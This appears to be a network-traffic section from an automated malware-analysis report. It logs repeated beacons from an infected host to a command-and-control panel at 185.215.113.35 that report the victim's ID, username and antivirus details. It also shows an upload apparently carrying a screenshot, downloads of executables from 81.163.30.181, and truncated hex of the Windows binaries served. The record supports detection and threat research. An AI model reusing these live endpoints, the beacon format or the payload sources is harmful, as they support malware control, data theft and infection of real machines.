Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1Host: 81.163.30.181Accept: /
Source: global traffic	HTTP traffic detected: GET /2.exe HTTP/1.1Host: 81.163.30.181Accept: /
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: GET //l/f/S2zKVH4BZ2GIX1a3NFPE/cae3f8ed633c3e67f112fa91bf9f9a15abbe2944 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 185.163.204.24
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----daabb92f8006f1c30ce11b2370aba5a4Host: 185.215.113.35Content-Length: 96048Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /d2VxjasuwS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.35Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 34 32 35 36 32 30 38 38 33 33 39 32 26 76 73 3d 33 2e 30 31 26 73 64 3d 62 64 36 66 35 31 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 38 30 31 30 38 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=425620883392&vs=3.01&sd=bd6f51&os=1&bi=1&ar=1&pc=980108&un=user&dm=&av=13&lv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:15 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:18 GMTContent-Type: application/x-msdos-programContent-Length: 320000Connection: closeLast-Modified: Fri, 14 Jan 2022 11:29:01 GMTETag: "4e200-5d5891c0fb88d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 fa 3c cc e1 9b 52 9f e1 9b 52 9f e1 9b 52 9f ff c9 c7 9f fb 9b 52 9f ff c9 d1 9f 67 9b 52 9f c6 5d 29 9f e2 9b 52 9f e1 9b 53 9f 01 9b 52 9f ff c9 d6 9f db 9b 52 9f ff c9 c6 9f e0 9b 52 9f ff c9 c3 9f e0 9b 52 9f 52 69 63 68 e1 9b 52 9f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 f0 14 cc 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e8 03 00 00 a8 11 00 00 00 00 00 20 b6 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 15 00 00 04 00 00 27 b3 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e3 03 00 28 00 00 00 00 00 15 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 fc 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ce e6 03 00 00 10 00 00 00 e8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 61 73 00 00 00 00 05 00 00 00 00 d0 14 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 76 65 00 00 00 ea 00 00 00 00 e0 14 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 69 79 65 76 6f 6c 93 0d 00 00 00 f0 14 00 00 0e 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 15 00 00 84 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 46 00 00 00 90 15 00 00 48 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:22 GMTContent-Type: application/x-msdos-programContent-Length: 323072Connection: closeLast-Modified: Fri, 14 Jan 2022 11:29:01 GMTETag: "4ee00-5d5891c0e418d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 fa 3c cc e1 9b 52 9f e1 9b 52 9f e1 9b 52 9f ff c9 c7 9f fb 9b 52 9f ff c9 d1 9f 67 9b 52 9f c6 5d 29 9f e2 9b 52 9f e1 9b 53 9f 01 9b 52 9f ff c9 d6 9f db 9b 52 9f ff c9 c6 9f e0 9b 52 9f ff c9 c3 9f e0 9b 52 9f 52 69 63 68 e1 9b 52 9f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c8 56 b7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f4 03 00 00 a8 11 00 00 00 00 00 40 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 96 8b 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 f0 03 00 28 00 00 00 00 10 15 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f4 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ee f3 03 00 00 10 00 00 00 f4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 75 74 61 6c 61 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 76 65 00 00 00 ea 00 00 00 00 f0 14 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 6f 62 65 00 00 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 15 00 00 84 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 62 46 00 00 00 a0 15 00 00 48 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:29:55 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 